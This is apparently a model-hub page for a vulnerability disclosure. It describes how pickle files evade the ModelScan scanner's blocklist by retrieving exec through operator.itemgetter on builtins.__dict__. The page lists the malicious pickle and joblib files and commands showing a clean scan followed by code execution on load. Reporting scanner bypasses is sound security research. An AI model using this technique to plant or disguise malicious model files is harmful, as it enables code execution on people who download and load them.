You can deploy this model and start earning money today!

xiaoyaoes/
modelscan-builtins-dict-bypass-poc

Name: modelscan-builtins-dict-bypass-poc
Availability: InStock

Views

No views yet

ModelScan Bypass PoC: `builtins.dict` + `operator.itemgetter()`

Overview

A systemic bypass of ProtectAI ModelScan's pickle blocklist.
This reveals a fundamental architectural weakness: builtins.__dict__ is not in the blocklist, allowing retrieval of any built-in function including exec, eval, open, etc.

The Bypass

python

operator.itemgetter("exec")(builtins.__dict__)
  -> builtins.__dict__["exec"]
  -> <built-in function exec>
  -> exec(arbitrary_code)
  -> REMOTE CODE EXECUTION

Files

File	Size	Description
`code_bypass.pkl`	144 B	Raw pickle (v5), 144 bytes
`code_bypass.joblib`	89 B	joblib format, 89 bytes

Verification

bash

# Install modelscan
pip install modelscan

# Scan - will report "No issues found"
modelscan --path code_bypass.pkl

# Execute - RCE
python -c "import pickle; pickle.load(open('code_bypass.pkl','rb'))"

Disclosure

Researcher: xiaoyaoes
Date: 2026-06-19
Status: Reported via Huntr MFV program

xiaoyaoes/modelscan-builtins-dict-bypass-poc

ModelScan Bypass PoC: builtins.__dict__ + operator.itemgetter()